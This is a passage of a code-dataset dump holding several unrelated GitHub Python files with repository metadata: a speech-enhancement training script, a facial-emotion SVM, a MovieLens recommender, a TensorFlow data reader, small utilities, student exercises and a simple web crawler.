Bounce:\n def __init__(self, x, y, limit):\n self.speed = random.uniform(0.5, 0.7) # 0.5\n self.angle = random.randint(-5, 5) / 10 # random.choice([10, -10])\n self.drag = 0.999\n self.elasticity = random.uniform(0.75, 0.9) # 0.75\n self.gravity = (math.pi, 0.002)\n self.limit = limit\n self.x, self.y = x, y\n\n @staticmethod\n def add_vectors(angle1, length1, angle2, length2):\n x = math.sin(angle1) * length1 + math.sin(angle2) * length2\n y = math.cos(angle1) * length1 + math.cos(angle2) * length2\n angle = 0.5 * math.pi - math.atan2(y, x)\n length = math.hypot(x, y)\n return angle, length\n\n def move(self):\n self.angle, self.speed = self.add_vectors(self.angle, self.speed, *self.gravity)\n self.x += math.sin(self.angle) * self.speed\n self.y -= math.cos(self.angle) * self.speed\n self.speed *= self.drag\n\n def bounce(self):\n if self.y > self.limit:\n self.y = 2 * (self.limit) - self.y\n self.angle = math.pi - self.angle\n self.speed *= self.elasticity\n\n def reset(self):\n self.speed = 0.5\n self.angle = random.choice([10, -10])\n self.drag = 0.999\n self.elasticity = 0.75\n","repo_name":"eliczi/rogalik","sub_path":"src/objects/flask.py","file_name":"flask.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"42236020049","text":"\"\"\"\nReimplementing AECNN model minimizing L1 loss.\nNo discriminator.\n\n\nWritten by Deepak Baby, UGent, Oct 2018.\n\"\"\"\nfrom __future__ import print_function\n\nimport tensorflow as tf\nfrom tensorflow.contrib.layers import xavier_initializer, flatten, fully_connected\nimport numpy as np\nimport keras\nfrom keras.layers import Input, Dense, Conv1D, Conv2D, Conv2DTranspose, BatchNormalization\nfrom keras.layers import LeakyReLU, PReLU, Reshape, Concatenate, Flatten, Add, Lambda\nfrom keras.models import Sequential, Model\nfrom keras.optimizers import Adam\nfrom keras.callbacks import TensorBoard\nkeras_backend = tf.keras.backend\nkeras_initializers = tf.keras.initializers\nfrom data_ops import *\nfrom file_ops import *\nfrom models import *\nimport keras.backend as K\n\nimport time\nfrom tqdm import *\nimport h5py\nimport os,sys\nimport scipy.io.wavfile as wavfile\n\nif __name__ == '__main__':\n\n # Various GAN options\n opts = {}\n opts ['dirhead'] = \"AECNN_L1loss\"\n opts ['z_off'] = True # set to True to omit the latent noise input\n # normalization\n #################################\n # Only one of the follwoing should be set to True\n opts ['applyinstancenorm'] = False\n opts ['applybatchrenorm'] = False\n opts ['applybatchnorm'] = False\n opts ['applygroupnorm'] = False\n opts ['applyspectralnorm'] = False\n ##################################\n # Show model summary\n opts ['show_summary'] = True\n \n ## Set the matfiles\n clean_train_matfile = \"./data/clean_train_segan1d.mat\"\n noisy_train_matfile = \"./data/noisy_train_segan1d.mat\"\n noisy_test_matfile = \"./data/noisy_test_segan1d.mat\"\n \n ####################################################\n # Other fixed options\n opts ['window_length'] = 2**14\n opts ['featdim'] = 1 # 1 since it is just 1d time samples\n opts ['filterlength'] = 31\n opts ['strides'] = 2\n opts ['padding'] = 'SAME'\n opts ['g_enc_numkernels'] = [16, 32, 32, 64, 64, 128, 128, 256, 256, 512, 1024]\n opts ['d_fmaps'] = opts ['g_enc_numkernels'] # We use the same structure for discriminator\n opts['leakyrelualpha'] = 0.3\n opts ['batch_size'] = 100\n opts ['applyprelu'] = True\n opts ['preemph'] = 0.95\n\n \n opts ['d_activation'] = 'leakyrelu'\n g_enc_numkernels = opts ['g_enc_numkernels']\n opts ['g_dec_numkernels'] = g_enc_numkernels[:-1][::-1] + [1]\n opts ['gt_stride'] = 2\n opts ['g_l1loss'] = 100.\n opts ['d_lr'] = 0.0002\n opts ['g_lr'] = 0.0002\n opts ['random_seed'] = 111\n\n n_epochs = 81\n fs = 16000\n \n # set flags for training or testing\n TRAIN_SEGAN = True\n SAVE_MODEL = True\n LOAD_SAVED_MODEL = False\n TEST_SEGAN = True\n\n modeldir = get_modeldirname(opts)\n print (\"The model directory is \" + modeldir)\n print (\"_____________________________________\")\n\n if not os.path.exists(modeldir):\n os.makedirs(modeldir)\n\n # Obtain the generator and the discriminator\n G = generator(opts)\n\n # Define optimizers\n g_opt = keras.optimizers.Adam(lr=opts['g_lr'])\n \n # The G model has the wav and the noise inputs\n wav_shape = (opts['window_length'], opts['featdim'])\n wav_in_noisy = Input(shape=wav_shape, name=\"main_input_noisy\")\n \n G_wav = G(wav_in_noisy)\n G = Model(wav_in_noisy, G_wav)\n G.summary()\n \n # compile individual models\n G.compile(loss='mean_absolute_error', optimizer=g_opt)\n \n \n if TEST_SEGAN:\n ftestnoisy = h5py.File(noisy_test_matfile)\n noisy_test_data = ftestnoisy['feat_data']\n noisy_test_dfi = ftestnoisy['dfi']\n print (\"Number of test files: \" + str(noisy_test_dfi.shape[1]) )\n\n\n # Begin the training part\n if TRAIN_SEGAN: \n fclean = h5py.File(clean_train_matfile)\n clean_train_data = np.array(fclean['feat_data']).astype('float32')\n fnoisy = h5py.File(noisy_train_matfile)\n noisy_train_data = np.array(fnoisy['feat_data']).astype('float32')\n numtrainsamples = clean_train_data.shape[1]\n idx_all = np.arange(numtrainsamples)\n # set random seed\n np.random.seed(opts['random_seed'])\n batch_size = opts['batch_size']\n\n print (\"********************************************\")\n print (\" SEGAN TRAINING \")\n print (\"********************************************\")\n print (\"Shape of clean feats mat \" + str(clean_train_data.shape))\n print (\"Shape of noisy feats mat \" + str(noisy_train_data.shape))\n numtrainsamples = clean_train_data.shape[1]\n\n # Tensorboard stuff\n log_path = './logs/' + modeldir\n callback = TensorBoard(log_path)\n callback.set_model(G)\n train_names = ['G_loss']\n\n idx_all = np.arange(numtrainsamples)\n # set random seed\n np.random.seed(opts['random_seed'])\n\n batch_size = opts['batch_size']\n num_batches_per_epoch = int(np.floor(clean_train_data.shape[1]/batch_size))\n for epoch in range(n_epochs):\n # train D with minibatch\n np.random.shuffle(idx_all) # shuffle the indices for the next epoch\n for batch_idx in range(num_batches_per_epoch):\n start_time = time.time()\n idx_beg = batch_idx * batch_size\n idx_end = idx_beg + batch_size\n idx = np.sort(np.array(idx_all[idx_beg:idx_end]))\n #print (\"Batch idx \" + str(idx[:5]) +\" ... \" + str(idx[-5:]))\n cleanwavs = np.array(clean_train_data[:,idx]).T\n cleanwavs = data_preprocess(cleanwavs, preemph=opts['preemph'])\n cleanwavs = np.expand_dims(cleanwavs, axis = 2)\n noisywavs = np.array(noisy_train_data[:,idx]).T\n noisywavs = data_preprocess(noisywavs, preemph=opts['preemph'])\n noisywavs = np.expand_dims(noisywavs, axis = 2)\n\n g_loss = G.train_on_batch(noisywavs, cleanwavs)\n \n time_taken = time.time() - start_time\n\n printlog = \"E%d/%d:B%d/%d [G loss: %f] [Exec. time: %f]\" % (epoch, n_epochs, batch_idx, num_batches_per_epoch, g_loss, time_taken)\n \n print (printlog)\n # Tensorboard stuff \n logs = [g_loss]\n write_log(callback, train_names, logs, epoch)\n\n if (TEST_SEGAN and epoch % 10 == 0) or epoch == n_epochs - 1:\n print (\"********************************************\")\n print (\" SEGAN TESTING \")\n print (\"********************************************\")\n\n resultsdir = modeldir + \"/test_results_epoch\" + str(epoch)\n if not os.path.exists(resultsdir):\n os.makedirs(resultsdir)\n\n if LOAD_SAVED_MODEL:\n print (\"Loading model from \" + modeldir + \"/Gmodel\")\n json_file = open(modeldir + \"/Gmodel.json\", \"r\")\n loaded_model_json = json_file.read()\n json_file.close()\n G_loaded = model_from_json(loaded_model_json)\n G_loaded.compile(loss='mean_squared_error', optimizer=g_opt)\n G_loaded.load_weights(modeldir + \"/Gmodel.h5\")\n else:\n G_loaded = G\n\n print (\"Saving Results to \" + resultsdir)\n\n for test_num in tqdm(range(noisy_test_dfi.shape[1])) :\n test_beg = noisy_test_dfi[0, test_num]\n test_end = noisy_test_dfi[1, test_num]\n #print (\"Reading indices \" + str(test_beg) + \" to \" + str(test_end))\n noisywavs = np.array(noisy_test_data[:,test_beg:test_end]).T\n noisywavs = data_preprocess(noisywavs, preemph=opts['preemph'])\n noisywavs = np.expand_dims(noisywavs, axis = 2)\n if not opts['z_off']:\n noiseinput = np.random.normal(0, 1, (noisywavs.shape[0], z_dim1, z_dim2))\n cleaned_wavs = G_loaded.predict([noisywavs, noiseinput])\n else :\n cleaned_wavs = G_loaded.predict(noisywavs)\n \n cleaned_wavs = np.reshape(cleaned_wavs, (noisywavs.shape[0], noisywavs.shape[1]))\n cleanwav = reconstruct_wav(cleaned_wavs)\n cleanwav = np.reshape(cleanwav, (-1,)) # make it to 1d by dropping the extra dimension\n \n if opts['preemph'] > 0:\n cleanwav = de_emph(cleanwav, coeff=opts['preemph'])\n\n destfilename = resultsdir + \"/testwav_%d.wav\" % (test_num)\n wavfile.write(destfilename, fs, cleanwav)\n\n\n\n # Finally, save the model\n if SAVE_MODEL:\n model_json = G.to_json()\n with open(modeldir + \"/Gmodel.json\", \"w\") as json_file:\n json_file.write(model_json)\n G.save_weights(modeldir + \"/Gmodel.h5\")\n print (\"Model saved to \" + modeldir)\n","repo_name":"deepakbaby/se_relativisticgan","sub_path":"run_aecnn.py","file_name":"run_aecnn.py","file_ext":"py","file_size_in_byte":9090,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"75"} +{"seq_id":"70087469362","text":"import cv2\nimport glob\nimport random\nimport math\nimport numpy as np\nimport dlib\nimport itertools\nfrom sklearn.svm import SVC\nemotions = [\"anger\", \"disgust\", \"fear\", \"happy\", \"neutral\", \"sadness\", \"surprise\"] #Emotion list\nclahe = cv2.createCLAHE(clipLimit=1, tileGridSize=(2,3))\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\"../shape_predictor_68_face_landmarks.dat\")\nclf = SVC(kernel='linear', probability=True, tol=1e-3)\ndata = {} # dictionary for all values \n\ndef get_files(emotion):\n files = glob.glob(\"../dataset/\" %emotion) #dataset\n random.shuffle(files)\n training = files[:int(len(files)*0.8)]\n prediction = files[-int(len(files)*0.2):] \n return training, prediction\ndef get_landmarks(image):\n detections = detector(image, 1)\n for k,d in enumerate(detections):\n shape = predictor(image, d) #Draw Facial Landmarks\n xlist = []\n ylist = []\n for i in range(1,64): #x and y coordinates\n xlist.append(float(shape.part(i).x))\n ylist.append(float(shape.part(i).y))\n xmean = np.mean(xlist)\n ymean = np.mean(ylist)\n xcentral = [(x-xmean) for x in xlist]\n ycentral = [(y-ymean) for y in ylist]\n landmarks_vectorised = []\n for x, y, w, z in zip(xcentral, ycentral, xlist, ylist):\n landmarks_vectorised.append(w)\n landmarks_vectorised.append(z)\n meannp = np.asarray((ymean,xmean))\n coornp = np.asarray((z,w))\n dist = np.linalg.norm(coornp-meannp)\n landmarks_vectorised.append(dist)\n landmarks_vectorised.append((math.atan2(y, x)*360)/(2*math.pi))\n data['landmarks_vectorised'] = landmarks_vectorised\ndef make_sets():\n training_data = []\n training_labels = []\n prediction_data = []\n prediction_labels = []\n for emotion in emotions:\n print(\" working on %s\" %emotion)\n training, prediction = get_files(emotion)\n #generate training and prediction list\n for item in training:\n image = cv2.imread(item) \n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n clahe_image = clahe.apply(gray)\n get_landmarks(clahe_image)\n if data['landmarks_vectorised'] == \"error\":\n print(\"no face detected on this one\")\n else:\n training_data.append(data['landmarks_vectorised']) #append image array to training data list\n training_labels.append(emotions.index(emotion))\n for item in prediction:\n image = cv2.imread(item)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n clahe_image = clahe.apply(gray)\n get_landmarks(clahe_image)\n if data['landmarks_vectorised'] == \"error\":\n print(\"no face detected on this one\")\n else:\n prediction_data.append(data['landmarks_vectorised'])\n prediction_labels.append(emotions.index(emotion))\n return training_data, training_labels, prediction_data, prediction_labels\naccur_lin = []\nfor i in range(0,10):\n print(\"Making sets %s\" %i) \n training_data, training_labels, prediction_data, prediction_labels = make_sets()\n npar_train = np.array(training_data)#turn numpy array\n npar_trainlabs = np.array(training_labels)\n print(\"training SVM linear %s\" %i) #train SVM\n clf.fit(npar_train, training_labels)\n print(\"getting accuracies %s\" %i)\n npar_pred = np.array(prediction_data)\n pred_lin = clf.score(npar_pred, prediction_labels)\n accur_lin.append(pred_lin) #Store accuracy in a list\nprint(\"Mean value lin svm: %s\" %np.mean(accur_lin)) #accuracy","repo_name":"yusufalper/Emotion-Recognition-Experiments","sub_path":"facial-landmarks.py","file_name":"facial-landmarks.py","file_ext":"py","file_size_in_byte":3674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"728763218","text":"import os,datetime,csv\nimport win32security\n\n\nf = open('./log.csv', 'w')\n\npath = \"Folder directory\"\n\ndata1 = ['File name','Path','Last modified','Created date','Last accessed', 'Size','Level','Inside files','Inside dirs','Created by']\n\nwriter = csv.writer(f)\nwriter.writerow(data1)\n\ntree = os.walk(path)\nx = 1\nname=''\n\nfor i in tree:\n pat=i[0]\n modificationTime = os.path.getmtime(i[0])\n creationTime = os.path.getctime(i[0])\n accessTime= os.path.getatime(i[0])\n fileSize = os.path.getsize(i[0])\n fromFirst = len(i[0].split('\\\\'))\n subFolders = len(i[0])\n\n totalFiles = 0\n totalDir = 0\n for base, dirs, files in os.walk(i[0]):\n for directories in dirs:\n totalDir += 1\n for Files in files:\n totalFiles += 1\n\n def get_file_owner(file_path:str):\n sd = win32security.GetFileSecurity (file_path, win32security.OWNER_SECURITY_INFORMATION)\n owner_sid = sd.GetSecurityDescriptorOwner()\n \n name, domain, type = win32security.LookupAccountSid (None, owner_sid) \n \n data = [os.path.basename(i[0]), i[0], datetime.datetime.fromtimestamp(modificationTime), datetime.datetime.fromtimestamp(creationTime),datetime.datetime.fromtimestamp(fileSize),fileSize,fromFirst,totalFiles,totalDir,name]\n writer = csv.writer(f)\n writer.writerow(data)\n print()\n \n print(i[0])\n get_file_owner(i[0])\n","repo_name":"carpediemm85/Mini-Python-Projects","sub_path":"FolderOrganization/folderInfo.py","file_name":"folderInfo.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71940999603","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport os.path\nimport tensorflow as tf\n\n\nclass Reader(object):\n def __init__(self, data_dir, batch_size = 64, num_threads = 16, num_epochs = None,\n crop_size = None):\n self.data_dir = data_dir\n self.batch_size = batch_size\n self.num_threads = num_threads\n self.num_epochs = num_epochs\n self.filename_queue = []\n\n def read_file_list(self, path):\n images = []\n labels = []\n for line in open(path):\n images.append(os.path.join(self.data_dir,'Cell_JPEGImages-small', line.strip() + '.jpg'))\n labels.append(os.path.join(self.data_dir, 'Cell_SegmentationClass-small', line.strip() + '.png'))\n\n return tf.pack(images), tf.pack(labels)\n\n def read_and_decode(self):\n image_name = tf.read_file(self.filename_queue[0])\n image = tf.image.decode_jpeg(image_name, channels = 3)\n #image = tf.image.resize_images(image, [320, 480])\n image = tf.image.resize_images(image, [522, 775])\n image /= 255.\n\n label_name = tf.read_file(self.filename_queue[1])\n label = tf.image.decode_png(label_name, channels = 1)\n #label = tf.image.resize_images(label, [320, 480])\n label = tf.image.resize_images(label, [522, 775])\n label = tf.to_int64(label > 0)\n\n return image, label\n\n def _generate_next_batch(self, image, label, min_queue_examples,\n shuffle):\n \"\"\"Construct a queued batch of index, cont and labels. \"\"\"\n # Create a queue that shuffles the examples, and then\n # read 'batch_size' index + cont + labels from the example queue.\n if shuffle:\n images, labels = tf.train.shuffle_batch(\n [image, label],\n batch_size = self.batch_size,\n num_threads = self.num_threads,\n capacity = min_queue_examples + 3 * self.batch_size,\n min_after_dequeue = min_queue_examples)\n else:\n images, labels = tf.train.batch(\n [image, label],\n batch_size = self.batch_size,\n num_threads = self.num_threads,\n capacity = min_queue_examples + 3 * self.batch_size)\n\n\n return {'images' : images, 'labels' : labels}\n\n def next_train(self):\n with tf.name_scope('train'), tf.device('/cpu:0'):\n train_data = os.path.join(self.data_dir,'ImageSets', 'Segmentation', 'Cell_small_train.txt')\n if not os.path.exists(train_data):\n print('no train data')\n exit(1)\n\n images, labels = self.read_file_list(train_data)\n\n # Create a queue that produces the filenames to read.\n self.filename_queue = tf.train.slice_input_producer([images, labels], num_epochs = self.num_epochs,\n name = 'slice_input_producer')\n\n # Read examples from files in the filename queue.\n image, label = self.read_and_decode()\n\n # Ensure that the random shuffling has good mixing properties.\n min_fraction_of_examples_in_queue = 0.4\n num_examples_per_epoch = 0.5 * self.batch_size\n min_queue_examples = int(num_examples_per_epoch *\n min_fraction_of_examples_in_queue)\n\n # Generate a batch of images and labels by building up a queue of examples.\n return self._generate_next_batch(image, label, min_queue_examples, shuffle = True)\n\n def next_test(self):\n with tf.name_scope('test'):\n test_data = os.path.join(self.data_dir,'ImageSets', 'Segmentation', 'Cell_small_test.txt')\n if not os.path.exists(test_data):\n print('no test data')\n exit(1)\n\n images, labels = self.read_file_list(test_data)\n # Create a queue that produces the filenames to read.\n self.filename_queue = tf.train.slice_input_producer([images, labels], num_epochs = self.num_epochs,\n name = 'slice_input_producer')\n\n # Read examples from files in the filename queue.\n image, label = self.read_and_decode()\n\n\n # Ensure that the random shuffling has good mixing properties.\n min_fraction_of_examples_in_queue = 0.4\n num_examples_per_epoch = 0.5 * self.batch_size\n min_queue_examples = int(num_examples_per_epoch *\n min_fraction_of_examples_in_queue)\n\n # Generate a batch of images and labels by building up a queue of examples.\n return self._generate_next_batch(image, label, min_queue_examples, shuffle = True)\n\n def next_val(self):\n with tf.name_scope('val'):\n val_data = os.path.join(self.data_dir,'ImageSets', 'Segmentation', 'val.txt')\n if not os.path.exists(val_data):\n print('no val data')\n exit(1)\n\n\n images, labels = self.read_file_list(val_data)\n # Create a queue that produces the filenames to read.\n self.filename_queue = tf.train.string_input_producer([images, labels], num_epochs = self.num_epochs,\n name = 'string_input_producer')\n\n # Read examples from files in the filename queue.\n image, label = self.read_and_decode()\n\n\n # Ensure that the random shuffling has good mixing properties.\n min_fraction_of_examples_in_queue = 0.4\n num_examples_per_epoch = 0.5 * self.batch_size\n min_queue_examples = int(num_examples_per_epoch *\n min_fraction_of_examples_in_queue)\n\n # Generate a batch of images and labels by building up a queue of examples.\n return self._generate_next_batch(image, label, min_queue_examples, shuffle = False)\n\n\n\ndef main(argv = None):\n reader = Reader('/home/bashir/VOC2012', batch_size = 100000)\n images, labels = reader.next_train()\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"bashbeik/malaria-detection","sub_path":"reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14890332852","text":"# http://ampcamp.berkeley.edu/5/exercises/movie-recommendation-with-mllib.html\n# https://weiminwang.blog/2016/06/09/pyspark-tutorial-building-a-random-forest-binary-classifier-on-unbalanced-dataset/\n\"\"\"\nuse numpy to process matrices\n 1. use sklearn's MF (done)\n\n\"\"\"\nimport sys\nimport itertools\nimport os\nimport numpy as np\nfrom scipy.sparse import coo_matrix, csr_matrix\nfrom sklearn.decomposition import NMF\nfrom sklearn.metrics import roc_auc_score, precision_score, recall_score, precision_recall_curve, f1_score\nfrom itertools import combinations\nimport matplotlib.pyplot as plt\n\n\ndef add_path(path):\n if path not in sys.path:\n print('Adding {}'.format(path))\n sys.path.append(path)\n\n\nabs_current_path = os.path.realpath('./')\nroot_path = os.path.join('/', *abs_current_path.split(os.path.sep)[:-2])\nadd_path(root_path)\n\n\nfrom machine_learning.movieLens.MovieLens_spark_hcf import generate_xoy, generate_xoy_binary,\\\n sigmoid, load_ratings\nfrom machine_learning.movieLens.MovieLens_sklearn_hcf import mf_sklearn, split_ratings_by_time\nfrom machine_learning.movieLens.MovieLens_sklearn_hcf2vcat import diversity, diversity_excludes_train, diversity_rerank\n\n\ndef compute_s(x_train):\n s = np.dot(x_train.T, x_train)\n s_norm = (s - np.min(s)) / (np.max(s) - np.min(s))\n return s_norm\n\n\n# def diversity(s_hat, r_hat):\n# # s_hat is sim_matrix\n# s_hat = (s_hat - np.min(s_hat)) / (np.max(s_hat) - np.min(s_hat))\n# div_matrix = 1 - s_hat\n#\n# k = 10\n# diversity_list = []\n# for i, row in enumerate(r_hat):\n# topk_indices = row.argsort()[-k:][::-1]\n# comb = np.array(list(combinations(topk_indices, 2)))\n# topk_diversity = div_matrix[comb[:, 0], comb[:, 1]]\n# diversity_list.append(np.sum(topk_diversity) / comb.shape[0])\n#\n# diversity_score = sum(diversity_list) / r_hat.shape[0]\n#\n# plt.hist(sorted(diversity_list, reverse=True), bins=50, color=np.random.rand(1, 3))\n# plt.grid()\n# plt.show()\n# return diversity_score\n\n\ndef baseline_inference(s_hat, training, test, rating_shape, pr_curve_filename):\n \"\"\"\n sklearn version AUROC\n \"\"\"\n x_train, o_train, y_train = generate_xoy_binary(training, rating_shape)\n x_test, o_test, y_test = generate_xoy_binary(test, rating_shape)\n\n all_scores = np.dot(x_train, s_hat) # [6041, 3953]\n all_scores_norm = (all_scores - np.min(all_scores)) / (np.max(all_scores) - np.min(all_scores))\n\n y_scores = all_scores_norm[o_test > 0] # exclude unobserved\n y_true = x_test[o_test > 0] \n auc_score = roc_auc_score(y_true, y_scores)\n # precision, recall, thresholds = precision_recall_curve(y_true, y_scores)\n # np.save(pr_curve_filename, (precision, recall, thresholds))\n return auc_score, all_scores_norm\n\n\ndef main():\n # load personal ratings\n pr_curve_filename = 'movieLens_base1.npy'\n movie_lens_home_dir = '../../data/movielens/medium/'\n path = '../../data/movielens/medium/ratings.dat'\n ratings = load_ratings(path)\n training, test = split_ratings_by_time(ratings, 0.8)\n\n x_train, o_train, y_train = generate_xoy(training, (6041, 3953))\n\n s = compute_s(x_train)\n\n ranks = [16, 25]\n num_iters = [50, 80]\n best_t = None\n best_validation_auc = float(\"-inf\")\n best_rank = 0\n\n best_num_iter = -1\n\n for rank, num_iter in itertools.product(ranks, num_iters):\n s_hat = mf_sklearn(s, n_components=rank, n_iter=num_iter) # [0, 23447]\n valid_auc, all_scores_norm = baseline_inference(s_hat, training, test, (6041, 3953), pr_curve_filename)\n diversity_score = diversity_rerank(s_hat, all_scores_norm, o_train, x_train)\n print(\"The current model was trained with rank = {}, and num_iter = {}, and its AUC on the \"\n \"validation set is {}.\".format(rank, num_iter, valid_auc))\n if valid_auc > best_validation_auc:\n best_t = s_hat\n best_validation_auc = valid_auc\n best_rank = rank\n best_num_iter = num_iter\n\n test_auc = baseline_inference(best_t, training, test, (6041, 3953), pr_curve_filename)\n print(\"The best model was trained with rank = {}, and num_iter = {}, and its AUC on the \"\n \"test set is {}.\".format(best_rank, best_num_iter, test_auc))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Originofamonia/spark_training","sub_path":"machine_learning/movieLens/MovieLens_sklearn_baseline.py","file_name":"MovieLens_sklearn_baseline.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"7268715427","text":"from os import system\n\nwith open('requerements.txt','r') as file:\n for line in file:\n for module in line.split():\n cmd = system(f'python -c \"import {module}\"')\n if cmd == 0: print(f\"{module} . exist\")\n else:\n print(f\"{module} . not exist\\installing ...\")\n system(f'pip install {module}')\n print(f\"{module} . Done ...\")\nsystem(\"python chatBot/main.py\")\n","repo_name":"senani-derradji/Telegram-AI-ChatBot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"33300499251","text":"import io\nfrom predict import predict\nfrom PIL import Image\nimport streamlit as st\n\n\ndef load_images():\n st.subheader(\"Seleccione imagenes para procesar:\")\n list_uploaded_file = st.file_uploader(label=\"\", type=['png', 'jpg', 'jpeg'] , accept_multiple_files=True)\n with st.container():\n if list_uploaded_file is not None:\n list = []\n for i, uploaded_file in enumerate(list_uploaded_file):\n image_data = uploaded_file.getvalue()\n st.write(\"##### Imagen \" + str(i+1) + \":\")\n st.image(image_data)\n st.write(\"\")\n list.append(Image.open(io.BytesIO(image_data)))\n return list\n else:\n return None\n\n\ndef main():\n st.set_page_config(page_title=\"Manga WebApp\", layout=\"wide\", menu_items={\n 'Get Help': None,\n 'Report a bug': None,\n 'About': \"FIIS UNI 2022\"\n })\n hide_menu_style = \"\"\"\n \n \"\"\"\n st.markdown(hide_menu_style, unsafe_allow_html=True)\n st.title('Manga WebApp')\n col1, col2 = st.columns(2)\n with col1:\n list_img = load_images()\n with col2:\n if list_img:\n st.subheader('Ahora presione el botón para procesar:')\n result = st.button('Procesar')\n if result:\n l_im2 = None\n if l_im2 is None:\n st.write(\"Procesando ...\")\n l_im2 = predict(list_img)\n st.subheader(\"Paneles reconocidos:\")\n for i, im2 in enumerate(l_im2):\n st.write(\"##### Imagen \" + str(i+1) + \":\")\n st.image(im2)\n st.write(\"\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"FrankCP67/MangaWebApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22294218841","text":"#!/usr/bin/env python\n\n# This software is distributed under BSD 3-clause license (see LICENSE file).\n#\n# Authors: Soeren Sonnenburg\n\nimport sys\nimport random\nfrom esvm.experiment import svm_cv, svm_pred, svm_poim, svm_eval, svm_modelsel\n\nif __name__ == '__main__':\n\n if len(sys.argv)<2:\n sys.stderr.write(\"usage: %s [cv|pred|modelsel|eval|poim] parameters\\n\" % sys.argv[0])\n sys.exit(-1)\n\n random.seed()\n\n topmode = sys.argv[1]\n\n if topmode == 'cv':\n svm_cv(sys.argv)\n elif topmode == 'pred':\n svm_pred(sys.argv)\n elif topmode == 'poim':\n svm_poim(sys.argv)\n elif topmode == 'eval':\n svm_eval(sys.argv)\n elif topmode == 'modelsel':\n svm_modelsel(sys.argv)\n else:\n sys.stderr.write( \"unknown mode %s (use: cv, pred, poim, eval)\\n\" % topmode)\n sys.exit(-1)\n\n sys.exit(0)\n\n","repo_name":"shogun-toolbox/shogun","sub_path":"applications/easysvm/scripts/easysvm.py","file_name":"easysvm.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":2975,"dataset":"github-code","pt":"75"} +{"seq_id":"73099981041","text":"#1)\r\n\r\ndef superficieRectangulo(base,altura):\r\n superficie = base * altura\r\n print(f\"La superficie total es de : {superficie}\")\r\n return superficie\r\n\r\n#2)\r\ndef triangulo_rectangulo(base,altura):\r\n superficie = (base * altura) / 2\r\n print(f\"La superficie total del triangulo rectangulo es: {superficie}\")\r\n return superficie\r\n\r\n#3)\r\ndef numeroPrimo(numero,b=2):\r\n if (b >= numero):\r\n print(\"Es un numero primo\")\r\n return True\r\n elif numero % b !=0:\r\n return numeroPrimo (numero , b +1)\r\n else:\r\n print(f\"No es primo {b} es divisor\")\r\n return False\r\n\r\n#4) \r\ndef cantidad_de_repeticiones(letra,oracion):\r\n cantidad = oracion.count(letra)\r\n print(f\"La cantidad de repeticiones de la letra {letra} es {cantidad}\")\r\n\r\n\r\n#5)\r\ndef capicua(palabra):\r\n rev = palabra[::-1]\r\n if(palabra == rev):\r\n print(f\"La palabra {palabra} es capicua\")\r\n else: \r\n print(\"No lo es\")\r\n\r\n#6)\r\ndef leetSpeak(palabra):\r\n for i in palabra:\r\n\t if i == (\"a\"):\r\n\t\t palabra = palabra.replace(\"a\",\"4\")\r\n\t elif i == \"b\":\r\n\t\t palabra = palabra.replace(\"b\",\"8\")\r\n\t elif i == \"e\":\r\n\t\t spalabra = palabra.replace(\"e\",\"3\")\r\n\t elif i == \"l\":\r\n\t\t palabra = palabra.replace(\"l\",\"1\")\r\n\t elif i == \"o\":\r\n\t\t palabra = palabra.replace(\"o\",\"0\")\r\n\t elif i == \"s\": \r\n\t\t palabra= palabra.replace(\"s\",\"5\")\r\n\t elif i == \"t\":\r\n\t\t palabra = palabra.replace(\"t\",\"7\")\r\n else: \r\n pass\r\n print(palabra)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"dantelazz/Test2","sub_path":"TareaIndividual.py","file_name":"TareaIndividual.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9499155983","text":"from html.parser import HTMLParser\nfrom urllib.request import urlopen\nfrom urllib import parse\n\n#creating a class called WebCrawler\nclass WebCrawler(HTMLParser):\n #Overloading this function in HTMLParese\n def handle_starttag(self, tag, attrs):\n if tag == 'a':\n for (key, value) in attrs:\n if key == 'href':\n newUrl = parse.urljoin(self.baseUrl, value)\n self.links = self.links + [newUrl]\n \n def getLinks(self, url):\n self.links = []\n self.baseUrl = url\n response = urlopen(url)\n htmlBytes = response.read()\n htmlString = htmlBytes.decode(\"utf-8\") #We need to decode to string to be able to use feed\n self.feed(htmlString)\n return htmlString, self.links\n\n #creating the spider\n def spider(self, url, word, maxPages):\n pagesToVisit = [url]\n numberVisited = 0\n foundWord = False\n #searching the page for word or string and only look at maxPages number of pages to limit scope\n while numberVisited < maxPages and pagesToVisit != [] and not foundWord:\n numberVisited = numberVisited + 1\n url = pagesToVisit[0]\n pagesToVisit = pagesToVisit[1:]\n try:\n print(numberVisited, \"Visiting:\", url)\n parser = WebCrawler()\n data, links = parser.getLinks(url)\n if data.find(word) > -1:\n foundWord = True\n pagesToVisit = pagesToVisit + links\n print(\"Success\")\n except:\n print(\"Failed\")\n if foundWord:\n print(\"The word \", 